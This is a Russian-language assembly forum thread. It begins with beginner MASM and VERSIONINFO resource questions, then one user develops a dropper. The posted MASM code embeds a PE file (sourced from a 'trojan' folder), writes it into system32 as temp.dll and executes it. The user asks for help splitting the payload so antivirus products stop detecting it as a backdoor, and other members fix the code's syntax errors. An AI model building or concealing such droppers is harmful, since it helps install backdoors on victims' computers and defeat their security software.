WriteFile

Тема в разделе "WASM.BEGINNERS", создана пользователем fragment, 11 май 2010.

Статус темы:
Закрыта.
  1. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Откомпилированный вариант прикрепить не могу , ибо у меня тут на форуме какие-то проблемы с етим, сам не знаю почему :dntknw:
     
  2. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Сегодня заметил что вышла VIsual Studio Express 2010 Rus каторая содержит ml.exe & link.exe десятой версии а также еще много всего вкусного.

    http://www.microsoft.com/express/Downloads/#2010-Visual-CPP
     
  3. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    fragment
    Вы хотябы прототипы функций смотрели, перед тем как вызывать ?
    http://msdn.microsoft.com/en-us/library/ms724923(v=VS.85).aspx
    Это не опциональный параметр, раз про это не сказано. Длину указывайте строки.
     
  4. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо огромное сейчас исправлю, я мсдн не часто читаю да и с английским у меня не особо... спасибо!
     
  5. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Помогите пажалуййста разобраца с файлом ресурсов ( VERSIONINFO Resource ), сделал все как в мануале msdn но ничего не компилируется, почему?
    http://share.netbynet.ru/386test.zip

    Код (Text):
    1. Microsoft (R) Windows (R) Resource Compiler, Version 5.00.1823.1 - Build 1823
    2. Copyright (C) Microsoft Corp. 1985-1998. All rights reserved.
    3.  
    4. Using codepage 1251 as default
    5. Creating rsrc.RES
    6. RC: RCPP -CP 1251 -f C:\Users\└ыхъёхщ\Desktop\test\test\RCa04916 -g C:\Users\└ых
    7. ъёхщ\Desktop\test\test\RDa04916 -DRC_INVOKED -D_WIN32 -pc\:/ -E -I. -I .
    8.  
    9. rsrc.rc.rsrc.rc (16): error RC2104 : undefined keyword or key name: VS_FFI_FILEF
    10. LAGSMASK
    и так далее...
     
  6. G13

    G13 New Member

    Публикаций:
    0
    Регистрация:
    24 мар 2006
    Сообщения:
    499
    RC.EXE английским языком говорит: "Не знаю, что такое VS_FFI_FILEFLAGSMASK". Определите эту константу, и будет вам счастье.

    Код (Text):
    1. /*****************************************************************************\
    2. *                                                                             *
    3. * verrsrc.h -   Version Resource definitions                                  *
    4. *                                                                             *
    5. *               Include file declaring version resources in rc files          *
    6. *                                                                             *
    7. *               Copyright (c) Microsoft Corporation. All rights reserved.     *
    8. *                                                                             *
    9. \*****************************************************************************/
    10.  
    11. /* ----- Symbols ----- */
    12. #define VS_FILE_INFO            RT_VERSION
    13. #define VS_VERSION_INFO         1
    14. #define VS_USER_DEFINED         100
    15.  
    16. /* ----- VS_VERSION.dwFileFlags ----- */
    17. #ifndef _MAC
    18. #define VS_FFI_SIGNATURE        0xFEEF04BDL
    19. #else
    20. #define VS_FFI_SIGNATURE        0xBD04EFFEL
    21. #endif
    22. #define VS_FFI_STRUCVERSION     0x00010000L
    23. #define VS_FFI_FILEFLAGSMASK    0x0000003FL
    24.  
    25. /* ----- VS_VERSION.dwFileFlags ----- */
    26. #define VS_FF_DEBUG             0x00000001L
    27. #define VS_FF_PRERELEASE        0x00000002L
    28. #define VS_FF_PATCHED           0x00000004L
    29. #define VS_FF_PRIVATEBUILD      0x00000008L
    30. #define VS_FF_INFOINFERRED      0x00000010L
    31. #define VS_FF_SPECIALBUILD      0x00000020L
    32.  
    33. /* ----- VS_VERSION.dwFileOS ----- */
    34. #define VOS_UNKNOWN             0x00000000L
    35. #define VOS_DOS                 0x00010000L
    36. #define VOS_OS216               0x00020000L
    37. #define VOS_OS232               0x00030000L
    38. #define VOS_NT                  0x00040000L
    39. #define VOS_WINCE               0x00050000L
    40.  
    41. #define VOS__BASE               0x00000000L
    42. #define VOS__WINDOWS16          0x00000001L
    43. #define VOS__PM16               0x00000002L
    44. #define VOS__PM32               0x00000003L
    45. #define VOS__WINDOWS32          0x00000004L
    46.  
    47. #define VOS_DOS_WINDOWS16       0x00010001L
    48. #define VOS_DOS_WINDOWS32       0x00010004L
    49. #define VOS_OS216_PM16          0x00020002L
    50. #define VOS_OS232_PM32          0x00030003L
    51. #define VOS_NT_WINDOWS32        0x00040004L
    52.  
    53. /* ----- VS_VERSION.dwFileType ----- */
    54. #define VFT_UNKNOWN             0x00000000L
    55. #define VFT_APP                 0x00000001L
    56. #define VFT_DLL                 0x00000002L
    57. #define VFT_DRV                 0x00000003L
    58. #define VFT_FONT                0x00000004L
    59. #define VFT_VXD                 0x00000005L
    60. #define VFT_STATIC_LIB          0x00000007L
    61.  
    62. /* ----- VS_VERSION.dwFileSubtype for VFT_WINDOWS_DRV ----- */
    63. #define VFT2_UNKNOWN            0x00000000L
    64. #define VFT2_DRV_PRINTER        0x00000001L
    65. #define VFT2_DRV_KEYBOARD       0x00000002L
    66. #define VFT2_DRV_LANGUAGE       0x00000003L
    67. #define VFT2_DRV_DISPLAY        0x00000004L
    68. #define VFT2_DRV_MOUSE          0x00000005L
    69. #define VFT2_DRV_NETWORK        0x00000006L
    70. #define VFT2_DRV_SYSTEM         0x00000007L
    71. #define VFT2_DRV_INSTALLABLE    0x00000008L
    72. #define VFT2_DRV_SOUND          0x00000009L
    73. #define VFT2_DRV_COMM           0x0000000AL
    74. #define VFT2_DRV_INPUTMETHOD    0x0000000BL
    75. #define VFT2_DRV_VERSIONED_PRINTER    0x0000000CL
    76.  
    77. /* ----- VS_VERSION.dwFileSubtype for VFT_WINDOWS_FONT ----- */
    78. #define VFT2_FONT_RASTER        0x00000001L
    79. #define VFT2_FONT_VECTOR        0x00000002L
    80. #define VFT2_FONT_TRUETYPE      0x00000003L
    81.  
    82. /* ----- VerFindFile() flags ----- */
    83. #define VFFF_ISSHAREDFILE       0x0001
    84.  
    85. #define VFF_CURNEDEST           0x0001
    86. #define VFF_FILEINUSE           0x0002
    87. #define VFF_BUFFTOOSMALL        0x0004
    88.  
    89. /* ----- VerInstallFile() flags ----- */
    90. #define VIFF_FORCEINSTALL       0x0001
    91. #define VIFF_DONTDELETEOLD      0x0002
    92.  
    93. #define VIF_TEMPFILE            0x00000001L
    94. #define VIF_MISMATCH            0x00000002L
    95. #define VIF_SRCOLD              0x00000004L
    96.  
    97. #define VIF_DIFFLANG            0x00000008L
    98. #define VIF_DIFFCODEPG          0x00000010L
    99. #define VIF_DIFFTYPE            0x00000020L
    100.  
    101. #define VIF_WRITEPROT           0x00000040L
    102. #define VIF_FILEINUSE           0x00000080L
    103. #define VIF_OUTOFSPACE          0x00000100L
    104. #define VIF_ACCESSVIOLATION     0x00000200L
    105. #define VIF_SHARINGVIOLATION    0x00000400L
    106. #define VIF_CANNOTCREATE        0x00000800L
    107. #define VIF_CANNOTDELETE        0x00001000L
    108. #define VIF_CANNOTRENAME        0x00002000L
    109. #define VIF_CANNOTDELETECUR     0x00004000L
    110. #define VIF_OUTOFMEMORY         0x00008000L
    111.  
    112. #define VIF_CANNOTREADSRC       0x00010000L
    113. #define VIF_CANNOTREADDST       0x00020000L
    114.  
    115. #define VIF_BUFFTOOSMALL        0x00040000L
    116. #define VIF_CANNOTLOADLZ32      0x00080000L
    117. #define VIF_CANNOTLOADCABINET   0x00100000L
    118.  
    119. #ifndef RC_INVOKED              /* RC doesn't need to see the rest of this */
    120.  
    121. #ifdef __cplusplus
    122. extern "C" {
    123. #endif
    124.    
    125. /*
    126.     FILE_VER_GET_... flags are for use by
    127.     GetFileVersionInfoSizeEx
    128.     GetFileVersionInfoExW
    129. */
    130. #define FILE_VER_GET_LOCALISED  0x01
    131. #define FILE_VER_GET_NEUTRAL    0x02
    132. #define FILE_VER_GET_PREFETCHED 0x04
    133.  
    134. /* ----- Types and structures ----- */
    135.  
    136. typedef struct tagVS_FIXEDFILEINFO
    137. {
    138.     DWORD   dwSignature;            /* e.g. 0xfeef04bd */
    139.     DWORD   dwStrucVersion;         /* e.g. 0x00000042 = "0.42" */
    140.     DWORD   dwFileVersionMS;        /* e.g. 0x00030075 = "3.75" */
    141.     DWORD   dwFileVersionLS;        /* e.g. 0x00000031 = "0.31" */
    142.     DWORD   dwProductVersionMS;     /* e.g. 0x00030010 = "3.10" */
    143.     DWORD   dwProductVersionLS;     /* e.g. 0x00000031 = "0.31" */
    144.     DWORD   dwFileFlagsMask;        /* = 0x3F for version "0.42" */
    145.     DWORD   dwFileFlags;            /* e.g. VFF_DEBUG | VFF_PRERELEASE */
    146.     DWORD   dwFileOS;               /* e.g. VOS_DOS_WINDOWS16 */
    147.     DWORD   dwFileType;             /* e.g. VFT_DRIVER */
    148.     DWORD   dwFileSubtype;          /* e.g. VFT2_DRV_KEYBOARD */
    149.     DWORD   dwFileDateMS;           /* e.g. 0 */
    150.     DWORD   dwFileDateLS;           /* e.g. 0 */
    151. } VS_FIXEDFILEINFO;
    152.  
    153. #ifdef __cplusplus
    154. }
    155. #endif
    156.  
    157. #endif  /* !RC_INVOKED */
     
  7. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо огромное , буду пробывать!
     
  8. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Добавил ваши определения к своему файлу но чето нехочет: rsrc.rc (175): error RC2237 : numeric value expected at VER_PRIVATEBUILD

    и вопрос такой почему у всех констант на конце "L" , VS_FF_PRIVATEBUILD 0x00000008L
    я догадываюсь что так должно быть но почему?
     
  9. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    У Вас нету случаной примера rc файла к этой глолве, везде примеры разные не могу ни как понять что куда и что за чем следует.. :-(
     
  10. G13

    G13 New Member

    Публикаций:
    0
    Регистрация:
    24 мар 2006
    Сообщения:
    499
    Так, ещё раз, читаем внимательно.

    В мануале MSDN предполагается, что компилируется проект студией, и значения VER_чего-нибудь выставляются в зависимости от настроек проекта. Определяйте вручную.
    Код (Text):
    1. #define VER_PRIVATEBUILD            VS_FF_DEBUG
    2. #define VER_PRERELEASE              VS_FF_PRERELEASE
    3. /* . . . */
    4. #define VER_COMPANYNAME_STR         "Ty Coon Ltd."
    5. #define VER_FILEDESCRIPTION_STR     "Sample description"
    6. /* и так далее */
    Потому что LONG.
     
  11. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Спасибо , с файлинфо разобрался.
    Помогите пожалуйста , не могу записать фаил в каталог system32 , в текущей директории всё создается.
    и еще мой код некоторые антивирусы определяют как троянопределяют как троян Backdoor.Win32.Poison.bovn
    Sus/Dropper-A... Как можно исправить это? Мне кажется что нужна просто хранить фаил в виде нескольких частей и все будет хорошо.Но как мне его записывать по кускам ума не приложу :\

    Код (Text):
    1. GetSystemDirectoryA PROTO :DWORD,:DWORD
    2. push 260h
    3. push offset Buff_1
    4. call GetSystemDirectoryA
    5.  
    6. .data?
    7. Buff_1 db 260h dup(?)
    8. hFile dd ?
    9. pBytesWritten dw ?
    10.  
    11. .data
    12. temp db "\temp.dll",0
    13. TextOpen db "open",0
    14.  
    15. .code
    16.  
    17. lstrcatA PROTO :DWORD,:DWORD
    18. push offset temp
    19. push offset Buff_1
    20. call lstrcatA
    21.  
    22. CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    23. push 0h
    24. push 0h
    25. push 2h
    26. push 0h
    27. push 1h+2h
    28. push 80000000h+40000000h
    29. push offset Buff_1
    30. call CreateFileA
    31.  
    32. mov hFile,eax
    33.  
    34. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    35. push 0h
    36. push offset pBytesWritten
    37. push FileLen
    38. push offset File
    39. push eax
    40. call WriteFile
    41.  
    42. CloseHandle PROTO :DWORD
    43. push hFile
    44. call CloseHandle
    Код (Text):
    1. .data
    2. FileLen equ 2560d
    3. File                    db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h, 004h, 000h
    4.                         db 000h, 000h, 0ffh, 0ffh, 000h, 000h, 0b8h, 000h, 000h, 000h
    5.                         db 000h, 000h, 000h, 000h, 040h, 000h, 000h, 000h, 000h, 000h
    6.                         db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
    7.                         db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
     
  12. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    ММ.. разобрался, прогрмму нужно запускать от имяни аминистратора, как зделть предупреждение такое?
     
  13. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    помогите пожалуйста , masm пишет ошибку синтаксиса
    код вот такова плана

    Код (Text):
    1. include         ./trojan/janna.txt
    2.  
    3. .data
    4. jannalen equ 10d
    5. janna                 db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h, 004h, 000h
    6.  
    7. .code
    8. start:
    9.  
    10. CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    11. push 0h
    12. push 0h
    13. push 2h
    14. push 0h
    15. push 1h+2h
    16. push 80000000h+40000000h
    17. push offset Buff_1
    18. call CreateFileA
    19.  
    20. mov hFile,eax
    21.  
    22. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    23. push 0h
    24. push offset pBytesWritten
    25. push jannalen
    26. push offset janna
    27. push eax
    28. call WriteFile
    29.  
    30.  
    31. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    32. push 0h
    33. push offset pBytesWritten
    34. push jannalen-2
    35. push offset janna-2
    36. push hFile
    37. call WriteFile
    38.  
    39. CloseHandle PROTO :DWORD
    40. push hFile
    41. call CloseHandle
    42.  
    43. ShellExecuteA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    44. push 0
    45. push 0
    46. push 0
    47. push offset Buff_1
    48. push offset TextOpen
    49. push 0
    50. call ShellExecuteA
    51. end start
    52.  
    53. .data
    54. jannalen-2 equ 10d
    55. janna-2              db 000h, 000h, 0ffh, 0ffh, 000h, 000h, 0b8h, 000h, 000h, 000h
     
  14. Flint_ta

    Flint_ta New Member

    Публикаций:
    0
    Регистрация:
    25 май 2008
    Сообщения:
    312
    две секции data
     
  15. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    ну и что? я писал так и нормально все, какая им разница сколько секций и где они...
    Мне нужно просто разделить дамп одного файла в ехешнике, а то авирусы ругаются, мол троян говорят
     
  16. Flint_ta

    Flint_ta New Member

    Публикаций:
    0
    Регистрация:
    25 май 2008
    Сообщения:
    312
    Какую хоть ошибку синтаксиса выдает?

    Код (Text):
    1. C:\masm32\test\test3.asm(26) : error A2008: syntax error : -
    2. C:\masm32\test\test3.asm(27) : error A2008: syntax error : -
    Типа этого?
     
  17. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
  18. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    вот сама прграмма , но в таком варианте на нее ругаются авири, может есть други способы?

    http://share.netbynet.ru/386compiler.zip
     
  19. Flint_ta

    Flint_ta New Member

    Публикаций:
    0
    Регистрация:
    25 май 2008
    Сообщения:
    312
    замени тут
    Код (Text):
    1. jannalen-2 equ 10d
    2. janna-2
    - на _
     
  20. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    fragment
    да, грохнуть авири и выдать мессажбокс - " система от д*ма очищена"
     
Статус темы:
Закрыта.